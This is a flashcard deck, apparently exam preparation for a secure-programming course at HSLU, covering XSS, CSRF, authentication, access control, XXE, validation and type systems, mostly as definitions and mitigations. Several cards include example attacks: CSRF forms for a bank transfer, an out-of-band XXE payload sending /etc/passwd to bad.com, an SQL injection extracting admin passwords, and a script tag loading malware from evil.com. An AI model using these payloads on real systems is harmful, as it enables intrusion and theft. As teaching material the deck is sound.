SPRG - HSLU 19

Prüfungsvorbereitung für Sicheres Programmieren an der HSLU.

Prüfungsvorbereitung für Sicheres Programmieren an der HSLU.


Kartei Details

Karten 79
Lernende 11
Sprache Deutsch
Kategorie Informatik
Stufe Universität
Erstellt / Aktualisiert 03.06.2019 / 27.06.2023
Weblink
https://card2brain.ch/box/20190603_sprg_hslu_19
Einbinden
<iframe src="https://card2brain.ch/box/20190603_sprg_hslu_19/embed" width="780" height="150" scrolling="no" frameborder="0"></iframe>

Nennen Sie die verschiedenen Typen von XSS.

Based on where the malicious code is coming from

•Reflected XSS: Schädlicher Code wird an den Server geschickt, von dort ungeprüft wieder dem Client zurückgegeben. Schadecode exisitiert nur temporär. (Meistens mittels Link, Bild, Form)

Persistent or stored XSS: Schädlicher Code wird dauerhaft auf dem Server gespeichert und bei jedem Aufruf des Clienst ausgeführt. (Foren, Blogs)

Based on where the malicious code is placed into the displayed document

Source-based XSS: Server side code places the malicious JavaScript into the HTML markup before rendering it.

•DOM-based XSS: Script wird lokal ausgeführt. Webserver ist nicht am Prozess beteiligt.

Nennen Sie Mitigations gegen XSS

•Validate, encode and/or sanitize input

•Escape output in view

•Define (strictly) which code browser should trust and execute with Content-Security-Policy headers
https://content-security-policy.com

Was ist XSS?

Exploits vulnerabilities in the (web) application, so that malicious code (JavaScript) can be injected.

Malicious script misuses the trust of the browser to the current user, as it lets malicious code run under his principal.

Für was kann XSS verwendet werden?

•CSRF-Schutz umgehen. (JavaScript can read anti CSRF tokens)

•Usersession übernehmen (Session Cookie klauen)

•Passwörter stehen (JS Keylogger)

•Display fake HTML form, to steal data from the victim user
(i.e. credentials with a fake login form )

•Force download of files (typically malware)

•Redirect user to another site under the attacker’s control

•Etc…

Wie funktioniert CSRF?

Mit GET: <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>

Mit POST:

<form action="http://bank.com/transfer.do" method="POST">

<input type="hidden" name="acct" value="MARIA"/>

<input type="hidden" name="amount" value="100000"/>

<input type="submit" value="View my pictures"/>

</form>

Hinweis: Wenn das Opfer auf den Link klickt, muss es gleichzeitig an der Bank angemeldet sein.

Was ist CSRF?

•Misuses the trust a web page has in the user’s browser. This trust allows a malicious site to send request to a target site with the credentials of the logged in user (session cookies).

•Technically speaking, the vulnerability is the result of HTTP state management (RFC 6265) and browser design, since at the time this threat was not know.

 

Nennen Sie Mitigations gegen CSRF

  • CSRF Token
  • Double Submit Cookie
  • SameSite Cookie Attribut

Was ist ein CSRF Token?

Jede Zustandsänderung erfordert ein sicheres Zufalls-Token (z.B. CSRF-Token), um CSRF-Angriffe zu verhindern.

Merkmale eines CSRF-Tokens:

  • Einmalig pro Benutzersitzung
  • Großer Zufallswert
  • Generiert durch einen kryptographisch sicheren Zufallszahlengenerator

Beispiel: Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/

Was ist eine starke bzw. schwache Authenifizierung?

Usually we call authentication

Weak authentication is breakable within reasonable amount of time; typically password based authentication

Strong authentication is the opposite; typically certificate based authentication or multi-factor authentication

•The more difficult the authentication mechanism it is the stronger to defeat.

•Authentication strength should be in line with the value of the protected assets

Was ist Subject, Principal und Credential?

Subject: the user/entity interacting with the system

•Not necessarily an end user (person)

Principal: the identifying information of the user

•Username

•LDAP DN (Distinguished Name)

Credential:  the proof that the subject is who he claims to be (as identified by the principal)

•Password

•Private key

•Other factors (i.e. biometric, additional tokens, etc.)

Was sind die Standard Web Authentication Models? Wie funktionieren diese?

  • Standardmechanismus vom Browser: Server expects credentials in Authoritaion header (HTTPS notwendig, da sonst Klartext)
  • Basic (WWW-Authentication): Base64 verschlüsselt, unsicher und quasi Klartext, Passwort kann in jeder Form gespeichert werden, HTTPS nötig
  • Digest (WWW-Authentication): Credentials werden MD5 verschlüsselt gesendet, unsicher da geknackt, gibt vor, wie kennwörter gespeichert werden sollen (bcrypt/PBKDF2) nicht möglich. HTTPS nicht nötig

Welche üblichen Web Authentication Models gibt es?

Custom login page/form

•Application implements login form and logic

•Server sends a redirect to the login page
if there is no subject is associated with current session

•Login page takes principal and credential(s) and sends them to the server

•Server logic validates credentials and sets the subject associated with the session

•Password goes as clear text -> HTTPS is necessary

Client certificate based

•Strong authentication of the client based on the client cert

•Requires managing certificates (and keys) for every client;

•PKI infrastructure is a complicated and expensive thing

•Often called 2-way-TLS or 2-way-HTTPS

•Mostly used in a machine-to-machine scenario

Welche Schwachstellen gibt es bei der Authentifizierung?

Weak implementation facilitating automated attacks such as:

•Credential stuffing – automated injection of leaked username password pairs

•Dictionary attacks – automated injection of password from a predefined list with know username(s)

•Brute force – well you can also generate passwords

Session management allows for session hijacking or fixation, i.e.:

•Reuse of session ID

•Exposure of session ID (i.e. URL rewriting)

•Same session ID before and after login

•Short session ID (brute-force session hijack)

Possible Authentication Bypass

•Hidden fields

•Forced browsing

Injection vulnerabilities

•XSS: Stealing credentials (i.e. with a keylogger)

•SQL, LDAP: Bypassing authentication

•SQL: stealing credentials en masse (Blind injections)

Weak password policy

Passwords not protected at rest (see sensitive data exposure)

Was sind Best Practices für die Authentifizierung?

Robust login implementation:

•HTTPS everywhere / HSTS

•Avoid using 3rd party java scripts; use strict Content Security Policy

•Pentest against XSS/SQLi

•Have strong password policies

•Throttle login attempts exponentially

•Use salted hashes with key stretching algorithms (i.e. bcrypt, PBKDF2)

Outsource authentication to trusted party: SSO, OpenID Connect

Protect the session

•Long and random Session ID (with high entropy)

•Change Session ID on login

•Protect session cookie with http-only, secure, same-site attributes

Welche Access Control Models gibt es?

DAC – Discretionary: the users of the system (mostly owners of an object) can change access control rules

•Social media; Filesystem

MAC – Mandatory: users of the system (expect administrator) cannot change access control rules

•Unix root, SE Linux

RBAC – Role based: permissions are given to roles (group of users);

•Operating systems; JEE (request.isUserInRole(…) / @RolesAllowed annotation)

ABAC – Attribute Based: decisions are made based on certain properties of subject and object

Policy Based – Rules are external and maintainable (see XACML)

Was für Access Control Policy Kategorien gibt es?

•Open Policy:
An open policy permits access unless there is an explicit deny

•Closed Policy:
A closed policy denies access unless there is an explicit permit.

Wie wird Broken Access Control erreicht?

Bypassing access control

•Insecure direct object references

•Missing function level access control

•Misconfigurations

Elevation of privilege with metadata manipulation

•(Self-encoding) JWT Access Tokens

•Cookies, Hidden fields

•This is often an authentication issue as well: namely the application makes access control decisions based on user input from across a trust boundary; even though in the developer’s use case the user does not modify it.

Was sind "Insecure Direct Object References?"

Insufficient access policy

Beispiel: https://some.company.tld/app/user/23398
... and you can view your profile there. What happens if you navigate to:
https://some.company.tld/app/user/2339 (anderes Profil wird angezeigt)

Path Traversal:

Beispiel: only MANAGER can access the resources with URI /managers/** and
USER can only access /users/**
but /users/../managers/salaries.xhtml returns the page as well

Access Control Best Practices?

 

•Use a closed policy by default (deny)

•Enforce it in the domain model and use the domain model when accessing

•I.e. RelationShipManager.getCustomer().getAccount()

•Or: RelationShipManager.getAllowedActions(Account)

•Reuse a trusted solution for ABAC/Policy based access control

•Do not rely on client provided input on access control decisions

•Invalidate access tokens on logout/session termination
(i.e. JWT tokens)

Nennen Sie Mitigations gegen Sensitive Data Exposure

  • Datenübertragung schützen (VPN, HTTPS)
  • Keys getrennt von den Daten aufbewahren
  • Sensitive Daten verschlüsseln
  • Keys nur im Memory speichern und nicht serialisieren

Was ist (Insecure De)serialization und was sind die Mitigations?

Serialization: Umwandlung eines Objekts in ein Datenformat (mashalling). Datenformat in Objekt umwandeln (unmarshalling). Am gängigsten ist JSON (früher XML)

Mitigation:

Keine Serialisierung verwenden oder die Serialisierung nur von sicheren Quellen erlauben.

Deserialisierung deaktivieren

Welche zwei Schema Definitionen gibt es bei XML. Sind beie anfällig auf XXE?

•XSD: Xml Schema Definition, XML based

•DTD: Document Type Definition, as its own format

XXE affects only DTD as it allows entities (constants) pointing to external system resources with file:// or http:// protocols,

Was ist XXE und was sind die Mitigations?

Problem: XML kann neben der reinen Speicherung von Strings auch Links zu anderen Dateien oder Ressourcen enthalten.Wenn das XML-Dokument geparst wird, folgt der XML-Parser dem Link und liest das verknüpfte Dokument. Angenommen, der Angreifer kann die Ausgabe des geparsten XML-Dokuments sehen, dann hat er die Möglichkeit, lokale Dateien auf dem Server zu lesen.

Beispiel:

XML file sent to Server:

<?xml version="1.0"?>
<!DOCTYPE comment [
<!ELEMENT comment (text)>
<!ELEMENT text (#PCDATA)>

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE attack SYSTEM “https://bad.com/xxe.dtd">
<foo>&attack;</foo>

xxe.dtd:

<!ENTITY % pwdfile SYSTEM “file://etc/passwd”>
<!ENTITY % logger “<!ENTITY attack SYSTEM ‘http://bad.com/log?%pwdfile;'>">
%logger;

Mitigation:

  • DTD deaktivieren.
  • Entities deaktivieren
  • Externe Entities deaktivieren

Nennen Sie die Mitigations gegen Components with Known Vulnerabilities?

  • Regelmässige Updates
  • Sichere Software verwenden

Nennen Sie die Mitigations für Insufficient Logging and monitoring

  • SIEM readiness: relevant log entries should be designed upfront.
  • Define auditable events: Login, failed-login, high-value transactions, etc.
  • Provide sufficient context with log entries for forensic analysis
  • (yet, keep privacy in mind!)
  • Log stream should be fed into an log management solution that monitors for suspicious entries and raises alerts.
  • Prepare with incident response and recovery plans.

Nennen Sie die 7 Security Principles und beschreiben Sie diese.

  • Minimum Exposure:
    • System abhärten: Nur nötige Komponente / Libraries installieren.
    • Expose only necessary funtionality
  • Simplicity:
    • Je komplexer ein System, desto anfälliger ist es.
  • Defense in depth:
    • Mehrere Abwehrmechanismen verwenden (verhindertsingle point of failure):
      • SQL injection: validate and encode input, used prepared statements…
      • XSS: validate and encode input, escape output, use secure content policy…
      • XEE: configure XML parser, preprocess XML with lexical parser…
      • CSRF: use anti CSRF tokens as well as same-site session cookies…
  • Least privilege: So wenig Rechte wie nötig. Prozesse und Applikationen sollten mit den geringstmöglchen Rechten laufen.
  • Compartmentalization: Dinge voneinander abschotten:
    • Infrastruktur: DMZ
    • System / Applikation segmentieren
  • Minimum trust and maximum trustworthiness: Wenn andere Systeme verwendet werden, nur das nötigste erlauben.(Daten so gut es geht validieren, encode etc.)
  • Traceability and complete mediation:
    • Requests, remote and local system calls across trust boundaries are logged and monitored for:
      • Security breaches
      • Attack patterns
      • Anomalies

Was ist Validation und was sollte validiert werden?

Validation überprüft die Eingabe. Folgendes sollte übreprüft werden:

  • Check origin: if it is from a trusted user / from a trustworthy source address
  • Check size: is input data of reasonable length
  • Lexical check: may include scanning of input data
  • Syntax check: may require parsing of input data to validate it against the schema of the domain model (i.e. XML or JSON)
  • Semantic check

Beispiel:

private void validateAccountNo(String accountNo) throws ValidationException {
    if (accountNo == null || accountNo.length() == 0) {
        //it cannot be null
        throw new ValidationException("Account is required");
    } else if (accountNo.length() != 11) {
        //it should be 11 long
        throw new ValidationException("Account number should be 11 characters long");
    } else if (!accountNo.matches(ACCOUNT_NO_PATTERN)) {
        //it has to match patter
        throw new ValidationException("Account number is in invalid format");
    } else if (accountService.getAccountDetails(accountNo) == null) {
        //account should exist
        throw new ValidationException("Account does not exists");
    }
    //ok all validations passed
}

private static final String ACCOUNT_NO_PATTERN = "^\\d{1}?-\\d{6}?-\\d{2}?$";

 

 

Was ist Sanitization und wie funktioniert es?

Sanitization: Potentiell gefährliche Zeichen aus dem Input löschen. Bei HTML gegen XSS:

  • Script Tags löscen
  • Attributwerte die mit javascript starten

Was ist Encoding und Escaping und wie funktioniert es?

Encoding:Logical representation of text -> sequence of binary digits from a well defined set. You usually encode input:

  • Bei HTML (<> to &gt, &lt)
  • Chracter Endoing (UTF-8, UTF-16)
  • Base64 um Binärdaten als ASCII Text anzuzeigen

Escaping (Untergruppe  von Encoding): Replace only certain characters or prefix them,
typically control characters so that they are interpreted as data

  • You usually encode output (or data passed to a parser)
  • For example
    • SQL: WHERE name='O\' Connor’
    • OS command: ls My\ Folder\ *

Wie sind Type Systems klassifiziert?

Dynamic or static regarding when type checking occurs

•Dynamic typing does not do type-checking at compile type

•Static typing performs type checks at compile time

Weak or strong regarding how strict the system is

•Weak type systems implicitly convert value from actual to expected types

•Strong type systems require explicit conversions

Languages usually have a dynamic and weak or a static and strong type system.

•If you have an expressive type system you want to check your code against its rules before it executes.

Was sind Weak / Strong Type Systems?

Weak with implicit conversions (JavaScript)

•“42” + 1 = “421”

•“42” == 42 is true
(“42” === 42 is false)

 

Strong with explicit conversions (Java)

•“42” + 1 => error

•Integer.parse(“42”) + 1 = 43

•”42” + Integer.toString(1) = “421”

Was ist Dynamic Typing with TypeScript?

//it takes a type any so it bypasses compile time checking

function quacker(duck: any) { 

    //it accepts anything as long as it can quack

    duck.quack();

}

quacker({ quack: function () { console.log("quack"); } });    //it is fine

quacker(42) //only this will result in an error at RUNTIME

Was ist Static Typing with TypeScript?

interface Duck {                 // there is a type for ducks

    quack(): void;

}

//the function only takes instances of type Duck

function quacker(duck: Duck) {   

    duck.quack();

}

var ducklike = {quack: function () { console.log("quack"); } }

//this fails at COMPILATION as duck as variable ducklike is not of type Duck

quacker(duckling);

quacker(42); //and this too, already at COMPILE time

Warum können Typen die Sicherheit verbessern?

Imagine there is a webpage:

http://internal.bankintra.com/showprofile?username={USERNAME}

•If Username is String it can be: 

•a valid username: i.e. vargadaniel108

•a malicious value for SQL injection:

•i.e. ‘ UNION SELECT USERNAME, PASSWORD FROM USERS where ROLE = ‘ADMIN’ -- 

•a malicious value for XSS to inject JS into the profile page

•i.e. <script src=’http://evil.com/malware.js’>installMalware()</script>

•a very huge value to bring the system down, i.e. if there is poor validation

•Are these values possible if username must be of type Username?

•The answer is NO. (given the type definition from the previous slide)

However, as you know there is still a plethora of vulnerabilities it does not protect from

Was sind Misuse Cases und warum sollten diese auch modelliert werden?

Ein Misuse Case beschreibt, welche Funktion ein System nicht zulassen darf. Sie brauchen ihn, um nicht-funktionale Anforderungen wie Sicherheitsanforderungen zu ermitteln.

Was sind MItigation Case's und warum sind diese wichtig?

Ergänz den Misuse Case mit Mitigations um den Threat zu behandeln.

Warum besteht bei einer Schnittstellen-Kommunikation ein Problem, wenn die Entschlüsselung der Verschlüsselung einer Nachricht geringfügig von der originalen Nachricht abweicht?

The receiver reacts differently as expected by the sender!
Reason: the implementation of Dec is wrong!

Erklären Sie den Begriff Common Criteria

Mit Hilfe der Common Criteria for Information Technology Security Evaluation lassen sich IT-Produkte nach allgemeinen Kriterien bezüglich ihrer Sicherheit bewerten. Bei Common Criteria (CC) handelt es sich um einen international anerkannten Standard.

Was ist das Attack Surface?

Die Summer aller Angriffspunkte, welcher ein Angreifer anwenden kann. Ziel ist es, das attack surface so gerin wie möglich zu halten.